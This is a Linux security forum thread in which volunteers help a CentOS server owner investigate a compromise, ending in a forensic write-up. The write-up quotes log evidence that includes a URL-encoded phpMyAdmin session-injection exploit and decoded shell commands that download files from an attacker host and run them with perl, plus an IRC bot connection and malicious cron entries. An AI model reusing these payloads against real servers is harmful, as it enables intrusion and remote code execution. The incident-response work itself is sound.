LinuxQuestions.org
LinuxAnswers - the LQ Linux tutorial section.
Go Back   LinuxQuestions.org > Forums > Linux Forums > Linux - Security
User Name
Password
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.

Notices


Reply
  Search this Thread
Old 04-18-2012, 11:37 AM   #1
newbie14
Member
 
Registered: Sep 2011
Posts: 435

Rep: Reputation: Disabled
Centos server being hacked any help?


Dear All,
I have this server and it have been compromised. I notice the perl is running a lot but there is no such of perl programming I am running. Below is my top. The attack is showing [WEB:NO-FILE] (tcp,sp=48704,dp=80). Any idea how to recover and prevent?


Code:
top - 21:20:54 up 8 days, 13:16,  1 user,  load average: 2.02, 2.23, 2.52
Tasks:  97 total,   2 running,  93 sleeping,   0 stopped,   2 zombie
Cpu(s): 77.7%us, 22.3%sy,  0.0%ni,  0.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   1034892k total,   730176k used,   304716k free,   181616k buffers
Swap:  2097144k total,        0k used,  2097144k free,   381540k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND
25687 apache    25   0  5328 2896 1176 R 49.9  0.3 818:58.72 perl
25675 apache    25   0  5328 2936 1192 S 49.6  0.3 818:58.48 perl
25564 root      15   0 10052 2928 2360 S  0.3  0.3   0:00.10 sshd
    1 root      15   0  2160  640  556 S  0.0  0.1   0:02.86 init
    2 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 migration/0
    3 root      34  19     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd/0
    4 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 watchdog/0
    5 root      10  -5     0    0    0 S  0.0  0.0   0:00.38 events/0
    6 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 khelper
    7 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 kthread
   10 root      10  -5     0    0    0 S  0.0  0.0   0:01.16 kblockd/0
   11 root      20  -5     0    0    0 S  0.0  0.0   0:00.00 kacpid
   86 root      20  -5     0    0    0 S  0.0  0.0   0:00.00 cqueue/0
   89 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 khubd
   91 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 kseriod
  150 root      15   0     0    0    0 S  0.0  0.0   0:00.01 khungtaskd
  151 root      25   0     0    0    0 S  0.0  0.0   0:00.00 pdflush
 
Click here to see the post LQ members have rated as the most helpful post in this thread.
Old 04-18-2012, 12:01 PM   #2
ericson007
Member
 
Registered: Sep 2004
Location: Japan
Distribution: CentOS 6.5
Posts: 484

Rep: Reputation: 85
Could be Trojan.Perl.Shellbot-2

See http://www.webhostingtalk.com/showthread.php?t=633194
I googled "top command show apache with perl"

Try checking some of the other results if this does not help.
 
Old 04-18-2012, 12:17 PM   #3
newbie14
Member
 
Registered: Sep 2011
Posts: 435

Original Poster
Rep: Reputation: Disabled
Dear Ericson,
When I run the crontab -u apache -e I got this now.What does this tell us? How in the first place the trojan can go in normally on linux machines?
Quote:

* * * * * /tmp/.x/update >/dev/null 2>&1
 
Old 04-18-2012, 12:21 PM   #4
Noway2
Senior Member
 
Registered: Jul 2007
Distribution: Ubuntu 10.10, Slackware 64-current
Posts: 2,124

Rep: Reputation: 778Reputation: 778Reputation: 778Reputation: 778Reputation: 778Reputation: 778Reputation: 778
The exploit that ericson007 points to could be the culprit. Here at LQ, we handle security events a bit differently than most places, focusing on an investigative approach. Normally, we recommend the dated but still useful CERT Intruder Detection Checklist as a baseline for the investigative process.

One of the things that the list specifies is to look for scripts and executable in locations such as /tmp and other places. In your particular case, you can see that perl is being executed from Apache and you know that this should no be happening.

The first step in the process should be to safely isolate the machine. Either disconnect the network cable or raise a firewall (iptables) to allow access from only a known trusted connection. Do not reboot, or try to cleanse the system (yet). Once you have secured the machine, I would recommend as root running the following set of commands:
Code:
'( /bin/ps acxfwwwe 2>&1; /usr/sbin/lsof -Pwln 2>&1; /bin/netstat -anpe 2>&1; /usr/bin/lastlog 2>&1; /usr/bin/last 2>&1; /usr/bin/who -a 2>&1 ) > /tmp/log.txt'
This will produce a log file with the output showing you the process tree along with the connections. It should show you where the files that Apache is executing are located. This takes us to the second step of the process of determining the scope of the intrusion. As I said, the above should show you what Apache is executing.

There are three possibilities at this point: 1 - a weakness in your webstack has been exploited allowing a remote user to upload files to a common, unprotected, location such as /tmp. 2 - they have compromised a non-privileged account and are executing files under it, 3 - they have obtained root level access to your machine. The output of the above command will help determine this.

You should then follow through the check list, examining your cron tables, looking for hidden files, etc. I would recommend verifying the integrity of your system binaries.
Code:
/bin/rpm -Vva 2>&1|/bin/grep -v "\.\{8\}" 2>&1
Use Logwatch to examine your log files:
Code:
"--detail High --service All --range All --archives --numeric --save /path/to/logwatch.log"
The above should give you a lot of information to get started with. If you have any questions, please post back immediately, or contact me via private message.
 
2 members found this post helpful.
Old 04-18-2012, 12:35 PM   #5
newbie14
Member
 
Registered: Sep 2011
Posts: 435

Original Poster
Rep: Reputation: Disabled
Dear Noway,
I did a mistake here I have rebooted the machine. Any way I tried to run this but it gives me error.

Quote:
'( /bin/ps acxfwwwe 2>&1; /usr/sbin/lsof -Pwln 2>&1; /bin/netstat -anpe 2>&1; /usr/bin/lastlog 2>&1; /usr/bin/last 2>&1; /usr/bin/who -a 2>&1 ) > /tmp/log.txt'
Below is the results for the second command.

Quote:
/bin/rpm -Vva 2>&1|/bin/grep -v "\.\{8\}" 2>&1
..5....T c /usr/lib/security/classpath.security
S.5....T c /etc/sysconfig/system-config-securitylevel
....L... c /etc/pam.d/system-auth
.M...... /usr/libexec/webmin/status
.M.....T /usr/libexec/webmin/status/CHANGELOG
.M.....T /usr/libexec/webmin/status/WEBMIN-STATUS-MIB.txt
.M.....T /usr/libexec/webmin/status/acl_security.pl
.M.....T /usr/libexec/webmin/status/alive-monitor.pl
.M.....T /usr/libexec/webmin/status/apache-monitor.pl
.M.....T /usr/libexec/webmin/status/backup_config.pl
.M.....T /usr/libexec/webmin/status/bind8-monitor.pl
.M.....T /usr/libexec/webmin/status/cfengine-monitor.pl
.M.....T /usr/libexec/webmin/status/cgi_args.pl
.M.....T /usr/libexec/webmin/status/change-monitor.pl
.M.....T /usr/libexec/webmin/status/config
.M.....T /usr/libexec/webmin/status/config-*-linux
.M.....T /usr/libexec/webmin/status/config-debian-linux
.M.....T /usr/libexec/webmin/status/config-debian-linux-3.0
.M.....T /usr/libexec/webmin/status/config-debian-linux-3.1-*
.M.....T /usr/libexec/webmin/status/config-freebsd
.M.....T /usr/libexec/webmin/status/config-hpux
.M.....T /usr/libexec/webmin/status/config-netbsd
.M.....T /usr/libexec/webmin/status/config-solaris
.M.....T /usr/libexec/webmin/status/config.info
.M.....T /usr/libexec/webmin/status/config.info.ca
.M.....T /usr/libexec/webmin/status/config.info.cz
.M.....T /usr/libexec/webmin/status/config.info.de
.M.....T /usr/libexec/webmin/status/config.info.es
.M.....T /usr/libexec/webmin/status/config.info.fa
.M.....T /usr/libexec/webmin/status/config.info.fr
.M.....T /usr/libexec/webmin/status/config.info.it
.M.....T /usr/libexec/webmin/status/config.info.ja_JP.UTF-8
.M.....T /usr/libexec/webmin/status/config.info.ja_JP.euc
.M.....T /usr/libexec/webmin/status/config.info.ko_KR.UTF-8
.M.....T /usr/libexec/webmin/status/config.info.ko_KR.euc
.M.....T /usr/libexec/webmin/status/config.info.nl
.M.....T /usr/libexec/webmin/status/config.info.pl
.M.....T /usr/libexec/webmin/status/config.info.ru.UTF-8
.M.....T /usr/libexec/webmin/status/config.info.ru_RU
.M.....T /usr/libexec/webmin/status/config.info.ru_SU
.M.....T /usr/libexec/webmin/status/config.info.sv
.M.....T /usr/libexec/webmin/status/config.info.tr
.M.....T /usr/libexec/webmin/status/config.info.uk_UA
.M.....T /usr/libexec/webmin/status/config.info.zh_CN
.M.....T /usr/libexec/webmin/status/config.info.zh_CN.UTF-8
.M.....T /usr/libexec/webmin/status/config.info.zh_TW.Big5
.M.....T /usr/libexec/webmin/status/config.info.zh_TW.UTF-8
.M.....T /usr/libexec/webmin/status/consume-monitor.pl
.M.....T /usr/libexec/webmin/status/defaultacl
.M.....T /usr/libexec/webmin/status/delete_mons.cgi
.M.....T /usr/libexec/webmin/status/delete_tmpls.cgi
.M.....T /usr/libexec/webmin/status/dhcpd-monitor.pl
.M.....T /usr/libexec/webmin/status/dns-monitor.pl
.M.....T /usr/libexec/webmin/status/dnsadmin-monitor.pl
.M.....T /usr/libexec/webmin/status/dovecot-monitor.pl
.M.....T /usr/libexec/webmin/status/du-monitor.pl
.M.....T /usr/libexec/webmin/status/edit_mon.cgi
.M.....T /usr/libexec/webmin/status/edit_sched.cgi
.M.....T /usr/libexec/webmin/status/edit_tmpl.cgi
.M.....T /usr/libexec/webmin/status/exec-monitor.pl
.M.....T /usr/libexec/webmin/status/feedback_files.pl
.M.....T /usr/libexec/webmin/status/file-monitor.pl
.M.....T /usr/libexec/webmin/status/ftp-monitor.pl
.M.....T /usr/libexec/webmin/status/hostsentry-monitor.pl
.M.....T /usr/libexec/webmin/status/http-monitor.pl
.M.....T /usr/libexec/webmin/status/iface-monitor.pl
.M...... /usr/libexec/webmin/status/images
.M.....T /usr/libexec/webmin/status/images/down.gif
.M.....T /usr/libexec/webmin/status/images/icon.gif
.M.....T /usr/libexec/webmin/status/images/not.gif
.M.....T /usr/libexec/webmin/status/images/quest.gif
.M.....T /usr/libexec/webmin/status/images/skip.gif
.M.....T /usr/libexec/webmin/status/images/smallicon.gif
.M.....T /usr/libexec/webmin/status/images/timed.gif
.M.....T /usr/libexec/webmin/status/images/up.gif
.M.....T /usr/libexec/webmin/status/images/webmin.gif
.M.....T /usr/libexec/webmin/status/index.cgi
.M.....T /usr/libexec/webmin/status/inetd-monitor.pl
.M.....T /usr/libexec/webmin/status/jabber-monitor.pl
.M...... /usr/libexec/webmin/status/lang
.M.....T /usr/libexec/webmin/status/lang/ca
.M.....T /usr/libexec/webmin/status/lang/cz
.M.....T /usr/libexec/webmin/status/lang/de
.M.....T /usr/libexec/webmin/status/lang/en
.M.....T /usr/libexec/webmin/status/lang/es
.M.....T /usr/libexec/webmin/status/lang/fa
.M.....T /usr/libexec/webmin/status/lang/fr
.M.....T /usr/libexec/webmin/status/lang/it
.M.....T /usr/libexec/webmin/status/lang/ja_JP.UTF-8
.M.....T /usr/libexec/webmin/status/lang/ja_JP.euc
.M.....T /usr/libexec/webmin/status/lang/ko_KR.UTF-8
.M.....T /usr/libexec/webmin/status/lang/ko_KR.euc
.M.....T /usr/libexec/webmin/status/lang/nl
.M.....T /usr/libexec/webmin/status/lang/pl
.M.....T /usr/libexec/webmin/status/lang/ru.UTF-8
.M.....T /usr/libexec/webmin/status/lang/ru_RU
.M.....T /usr/libexec/webmin/status/lang/ru_SU
.M.....T /usr/libexec/webmin/status/lang/sk
.M.....T /usr/libexec/webmin/status/lang/sv
.M.....T /usr/libexec/webmin/status/lang/tr
.M.....T /usr/libexec/webmin/status/lang/uk_UA
.M.....T /usr/libexec/webmin/status/lang/zh_CN
.M.....T /usr/libexec/webmin/status/lang/zh_CN.UTF-8
.M.....T /usr/libexec/webmin/status/lang/zh_TW.Big5
.M.....T /usr/libexec/webmin/status/lang/zh_TW.UTF-8
.M.....T /usr/libexec/webmin/status/list_tmpls.cgi
.M.....T /usr/libexec/webmin/status/load-monitor.pl
.M.....T /usr/libexec/webmin/status/log_parser.pl
.M.....T /usr/libexec/webmin/status/mailq-monitor.pl
.M.....T /usr/libexec/webmin/status/memory-monitor.pl
SM5....T /usr/libexec/webmin/status/module.info
.M.....T /usr/libexec/webmin/status/mon-monitor.pl
.M.....T /usr/libexec/webmin/status/monitor.pl
.M.....T /usr/libexec/webmin/status/mysql-monitor.pl
.M.....T /usr/libexec/webmin/status/nfs-monitor.pl
.M.....T /usr/libexec/webmin/status/nut-monitor.pl
.M.....T /usr/libexec/webmin/status/oldfile-monitor.pl
SM5....T /usr/libexec/webmin/status/ping-monitor.pl
.M.....T /usr/libexec/webmin/status/portsentry-monitor.pl
.M.....T /usr/libexec/webmin/status/postfix-monitor.pl
.M.....T /usr/libexec/webmin/status/postgresql-monitor.pl
.M.....T /usr/libexec/webmin/status/proc-monitor.pl
.M.....T /usr/libexec/webmin/status/proftpd-monitor.pl
.M.....T /usr/libexec/webmin/status/qmailadmin-monitor.pl
.M.....T /usr/libexec/webmin/status/query-monitor.pl
.M.....T /usr/libexec/webmin/status/raid-monitor.pl
.M.....T /usr/libexec/webmin/status/refresh.cgi
.M.....T /usr/libexec/webmin/status/rssh-monitor.pl
.M.....T /usr/libexec/webmin/status/samba-monitor.pl
.M.....T /usr/libexec/webmin/status/save_mon.cgi
.M.....T /usr/libexec/webmin/status/save_sched.cgi
.M.....T /usr/libexec/webmin/status/save_tmpl.cgi
.M.....T /usr/libexec/webmin/status/sendmail-monitor.pl
.M.....T /usr/libexec/webmin/status/sensors-monitor.pl
.M...... /usr/libexec/webmin/status/services
.M.....T /usr/libexec/webmin/status/services/apache.serv
.M.....T /usr/libexec/webmin/status/services/bind8.serv
.M.....T /usr/libexec/webmin/status/services/dhcpd.serv
.M.....T /usr/libexec/webmin/status/services/dnsadmin.serv
.M.....T /usr/libexec/webmin/status/services/inetd.serv
.M.....T /usr/libexec/webmin/status/services/mysql.serv
.M.....T /usr/libexec/webmin/status/services/nfs.serv
.M.....T /usr/libexec/webmin/status/services/postfix.serv
.M.....T /usr/libexec/webmin/status/services/postgresql.serv
.M.....T /usr/libexec/webmin/status/services/qmailadmin.serv
.M.....T /usr/libexec/webmin/status/services/samba.serv
.M.....T /usr/libexec/webmin/status/services/sendmail.serv
.M.....T /usr/libexec/webmin/status/services/squid.serv
.M.....T /usr/libexec/webmin/status/services/xinetd.serv
.M.....T /usr/libexec/webmin/status/space-monitor.pl
.M.....T /usr/libexec/webmin/status/squid-monitor.pl
.M.....T /usr/libexec/webmin/status/sshd-monitor.pl
.M.....T /usr/libexec/webmin/status/sslcert-monitor.pl
.M.....T /usr/libexec/webmin/status/status-lib.pl
.M.....T /usr/libexec/webmin/status/status_monitor_api.pl
.M.....T /usr/libexec/webmin/status/tcp-monitor.pl
.M.....T /usr/libexec/webmin/status/traffic-monitor.pl
.M.....T /usr/libexec/webmin/status/uninstall.pl
.M.....T /usr/libexec/webmin/status/usermin-monitor.pl
.M.....T /usr/libexec/webmin/status/webmin-monitor.pl
.M.....T /usr/libexec/webmin/status/xinetd-monitor.pl
......G. /var/cache/samba/winbindd_privileged
S.5....T c /etc/sysconfig/named
Looking for ksh in /etc/shells... found
S.5....T c /etc/printcap
S.5....T c /etc/ppp/chap-secrets
S.5....T c /etc/ppp/pap-secrets
S.5....T c /etc/xml/catalog
S.5....T c /usr/share/sgml/docbook/xmlcatalog
S.5....T c /etc/httpd/conf/httpd.conf
.......T c /etc/rc.d/init.d/httpd
SM5....T c /etc/sysconfig/iptables-config
.......T c /etc/audit/auditd.conf
.......T c /etc/inittab
How to run the 3rd command also lost here?
 
Old 04-18-2012, 12:51 PM   #6
Noway2
Senior Member
 
Registered: Jul 2007
Distribution: Ubuntu 10.10, Slackware 64-current
Posts: 2,124

Rep: Reputation: 778Reputation: 778Reputation: 778Reputation: 778Reputation: 778Reputation: 778Reputation: 778
Quote:
Originally Posted by newbie14 View Post
Dear Noway,
I did a mistake here I have rebooted the machine.
No worries. Just try to modify as little as possible to preserve the evidence to make it easier to find.
Quote:
Any way I tried to run this but it gives me error.
Hmmm, what was the error? Please run each command separately then and capture the output. You can attach it as a text file to the post(s) if needed. Looking at the rpm verify command, it doesn't look like your system binaries have been modified, so it is probably safe to just execute them from their default locations. If you get any error messages, please let me know what the message is.
Code:
ps acxfwwwe
lsof -Pwln
netstat -anpe
Quote:
Below is the results for the second command.
Good, this is a starting point for files you need to check. The output indicates that these things have been changed as compared to the version stored in your package repository. The codes on the left side indicate the type of change you are facing:
Code:
S file Size differs
M Mode differs (includes permissions and file type)
5 MD5 sum differs
D Device major/minor number mismatch
L readlink(2) path mismatch
U User ownership differs
G Group ownership differs
T mTime differs
P caPabilities differ
Most of these changes are in Webmin, which is a possibility for your intrusion. I assume you are running this on your Centos 6.2 machine you have referred to in a couple of other posts? What version of Apache, PHP, Webmin, etc are you running? Have you updated the system since you initially installed it?
The modifications to the first three items, dealing with sysconfig, security, and PAM require close attention. I believe in one of your threads you indicated that you were investigating user security (test1 user or something along those lines?). Are you aware of any modifications to these files?
The ones at the bottom of the list are config files (notice the c after the flags). These are more likely to change, but you should still inspect them and note if any of these are unexpected.

Quote:
How to run the 3rd command also lost here?
For this you will need to download the logwatch tool. I would recommend downloading it from a clean machine if possible. Then run it with the options provided.

As an initial pass, it is good that the RPM verify isn't showing serious modifications. Lets proceed with the rest of the information and steps in the checklist and make a determination as to what you are facing.
 
Old 04-19-2012, 11:36 AM   #7
ericson007
Member
 
Registered: Sep 2004
Location: Japan
Distribution: CentOS 6.5
Posts: 484

Rep: Reputation: 85
Right my answer was just a quick google. I am by no means great at risk detection or analysis, but the info noway2 has posted will get me looking at things a bit differently from now as well. Great post!

@op Good luck with your hunting

Does it actually spawn sshd as well? googling your cron entry came to http://serverfault.com/questions/208...possible-virus

The way it could have entered your system may be that you made a mistake unknowingly with your webmin setup. If you have followed line by line the howto guides for something like "The perfect centos server + webmin" that I have had a look into, then you will not have a very nice and tight system. They are great for acomplishing tasks but they do normally leave security as an excercise to the user. The only problem is that the user (myself included) may not always know and understand what other things to change in order to beef up security.

For example an easy way that someone may have got in is because of using a weak password for root and not having changed ssh to not allow root login or only to login with certificates. Centos by deafault allows all communication to port 22. That is one very real possibility.

Once you install something like webmin with all the stuff in the how to guides, you add many packages on top of a minimal system. There is more chance for a bug to creep in and more things to change default configurations for. Then has the default IPtables been changed?

I am currently testing a bridge that I created to access a virtual machine to see if there is any possible way that traffic can get into the virtual host itself even though it may not have an actual public IP, but shares the devices with the guest, but that is another thread on another day.

The most likely candidate is I am confident that with the webmin installation, you have enabled third party repos. Are these repos safe and trusted? If yes, did they recently report any security advice? Do you force gpg-key checking in your repo config file if the 3rd party repos are signed?

Another important factor is did you turn off SELinux? For CentOS, please leave it in enforcing, it is really not that difficult to use. The supplied policies work very well so far as I can tell. I am confident SELinux should be able to prevent this sort of exploit (please do correct me if I am wrong).

You can also set SELinux permissions on a per user level and try to mount your file system with ACL and apply ACL policies.

I know this does not solve your original question, however I do hope it can help in preventing such an event in the future. Consider using virtual machines to do some testing etc. If stuff hits the fan, you just start running from a previously saved image ( much quicker than a reinstall and the default that comes with centos, KVM is actually pretty good.)

Last edited by ericson007; 04-19-2012 at 12:07 PM.
 
Old 04-27-2012, 04:51 AM   #8
Noway2
Senior Member
 
Registered: Jul 2007
Distribution: Ubuntu 10.10, Slackware 64-current
Posts: 2,124

Rep: Reputation: 778Reputation: 778Reputation: 778Reputation: 778Reputation: 778Reputation: 778Reputation: 778
The OP was asked for log files, which were obtained and analyzed. The following is a final write up describing the analysis performed and the results found on this system:

****Analysis Follows****

On 2012-04-18, a thread was started in the LQ Security forum requesting help with a potentially compromised system. The initial report sees the OP noticing Apache running Perl scripts and consuming large amounts of resources.

The host is a dedicated server running Centos-5.8, OpenSSH, Apache, MySQL, PHP, PHPMyAdmin, Perl and is used actively for website development.

1) The integrity of system binaries was verified with 'rpm –verify'. Results seemed to indicate the majority of files is OK. A lot of files under the Webmin directory were modified, this was not further investigated being judged not to be a priority. Process, open files and network information was gathered and, based on the verification results, we allow ourselves to operate on the assumption the binaries are OK.

Output of information gathering failed to show the source of the Perl usage, but did show a suspicious process running under the Apache user (UID 48) calling it self 'bash' and executing from the hidden /tmp directory location mentioned above.

Code:
ps acxfwwwe
  PID TTY      STAT   TIME COMMAND
 2404 ?        Ss     0:02 bash

netstat -anpe
Active Internet connections (servers and established) 
Proto Recv-Q Send-Q Local Address               Foreign Address             State  		User       Inode      PID/Program name
tcp        0      0 nnn.nnn.nnn.nnn:33797         173.245.201.28:6667       ESTABLISHED 	48         209003     2404/bash         
udp        0      0 0.0.0.0:42809                 0.0.0.0:*                      n/a     	48         7185       2404/bash

COMMAND PID USER   FD   TYPE NAME
bash    2404 48  	cwd   DIR  /tmp/.x
bash    2404 48  	rtd   DIR  /
bash    2404 48  	txt   REG  /tmp/.x/bash
(..)
bash    2404 48    0w   REG  /tmp/.x/LinkEvents
bash    2404 48    1u  	Ipv4 TCP nnn.nnn.nnn.nnn:33797->173.245.201.28:6667 (ESTABLISHED)
(..)

2) Log analysis showed the web server posessing a crontab, including an entry that executes files from a “hidden” directory in /tmp. Logwatch showed evidence of cron job execution:
Crontab: 
/dev/shm/-lib/httpd >/dev/null 2>&1: 33034 Time(s)
/tmp/.x/update >/dev/null 2>&1: 7325 Time(s)
/tmp/kks/update >/dev/null 2>&1: 33027 Time(s)
* Note /tmp/kks as well as /dev/shm contents have either been erased or cleared out due to server reboots practically destroying potential evidence. Also note cron logs show Apache had been calling the exploit in /tmp/.x since before the oldest log available. While some cron log entries (“personal crontab edited”) point to modification of the Apache users crontab, given the default log rotation settings we can not determine the actual time of the initial intrusion.

Apache access logs show active intrusion, through a PHPMyAdmin exploit:
Code:
187.12.59.138 - - [17/Apr/2012:02:52:29 +0800] "GET /admin/index.php HTTP/1.1" 404 291 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1"

- through -

187.12.59.138 - - [17/Apr/2012:02:57:18 +0800] "GET /phpMyAdmin/index.php/index.php?session_to_unset=123&token=5b5f1b59b07b0036077c4ae2b0e0fdd7&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A58%3A%22%2Fvar%2Flib%2Fphp%2Fsession%2Fsess_c9d6ghogs9t1jpg27tm42t235oc8hp6i%22%3B%7D%7D&_SESSION[payload]=%3C%3Fphp+%0Aecho+exec%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Fpal.jpg%3Btar+zxvf+pm.jpg%3Brm+-rf+pm.jpg%3Bcd+pm%3Bnohup+.%2Fr+%3E%3E%2Fdev%2Fnull+%26%3Bwget+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Fphp.jpg+%3B+perl+php.jpg+%3B+rm+-rf+php.%2A%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+exec%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0A%0Aecho+passthru%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Fpal.jpg%3Btar+zxvf+pm.jpg%3Brm+-rf+pm.jpg%3Bcd+pm%3Bnohup+.%2Fr+%3E%3E%2Fdev%2Fnull+%26%3Bwget+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Fphp.jpg+%3B+perl+php.jpg+%3B+rm+-rf+php.jpg%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bcurl+-O++http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+passthru%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0A%0Aecho+system%28%27cd+%2Ftmp%3Bwget+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Fpal.jpg%3Btar+zxvf+pm.jpg%3Brm+-rf+pm.jpg%3Bcd+pm%3Bnohup+.%2Fr+%3E%3E%2Fdev%2Fnull+%26%3Bwget+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Fphp.jpg+%3B+perl+php.jpg+%3B+rm+-rf+php.jpg%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+system%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0A%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bhttp%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Fpal.jpg%3Btar+zxvf+pm.jpg%3Brm+-rf+pm.jpg%3Bcd+pm%3Bnohup+.%2Fr+%3E%3E%2Fdev%2Fnull+%26%3Bwget+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Fphp.jpg+%3B+perl+php.jpg+%3B+rm+-rf+php.jpg%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bcurl+-O+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Bfetch+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blwp-download+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0Aecho+shell_exec%28%27cd+%2Ftmp%3Blynx+-DUMP+http%3A%2F%2F70657279636f6c2e75636f7a2e726f%2Ffld.jpg+%3B+perl+fld.jpg+%3B+rm+-rf+fld.jpg%27%29%3B%0A%0A%0A%3F%3E HTTP/1.1" 200 341491 "http://nnn.nnn.nnn.nnn/phpMyAdmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
Note that the above line is one entry and will decode to show the URLs and commands executed.

Interestingly, 3 minutes later there is another connection that appears to be exploiting PHPMyadmin, but from a different IP address. The following is an example:
Code:
187.12.59.138 - - [17/Apr/2012:02:56:42 +0800] "GET /phpMyAdmin/index.php/index.php?session_to_unset=123&token=f20944a4f2178b294f6ac3704572318a&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A42%3A%22%2Ftmp%2Fsess_9ka6t2dd719sbca956l36duoios4ealp%22%3B%7D%7D HTTP/1.1" 200 - "http://nnn.nnn.nnn.nnn/phpMyAdmin/index.php/index.php" "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8"
The Apache Error log shows a corresponding execution of shell script:
Code:
[Tue Apr 17 02:53:31 2012] [error] [client 187.12.59.138] Invalid URI in request GET  HTTP/1.1
sh: -c: line 0: syntax error near unexpected token `;'
sh: -c: line 0: `cd /tmp;wget http://70657279636f6c2e75636f7a2e726f/pal.jpg;tar zxvf pm.jpg;rm -rf pm.jpg;cd pm;nohup ./r >>/dev/null &;wget http://70657279636f6c2e75636f7a2e726f/php.jpg ; perl php.jpg ; rm -rf php.*'
sh: -c: line 0: syntax error near unexpected token `;'
sh: -c: line 0: `cd /tmp;wget http://70657279636f6c2e75636f7a2e726f/pal.jpg;tar zxvf pm.jpg;rm -rf pm.jpg;cd pm;nohup ./r >>/dev/null &;wget http://70657279636f6c2e75636f7a2e726f/php.jpg ; perl php.jpg ; rm -rf php.*'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0 19027    0     0    0     0      0      0 --:--:--  0:00:01 --:--:--     0  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0 19027    0     0    0     0      0      0 --:--:--  0:00:02 --:--:--     0
100 19027  100 19027    0     0   7801      0  0:00:02  0:00:02 --:--:-- 29362
Can't modify constant item in scalar assignment at fld.jpg line 1, near """;"
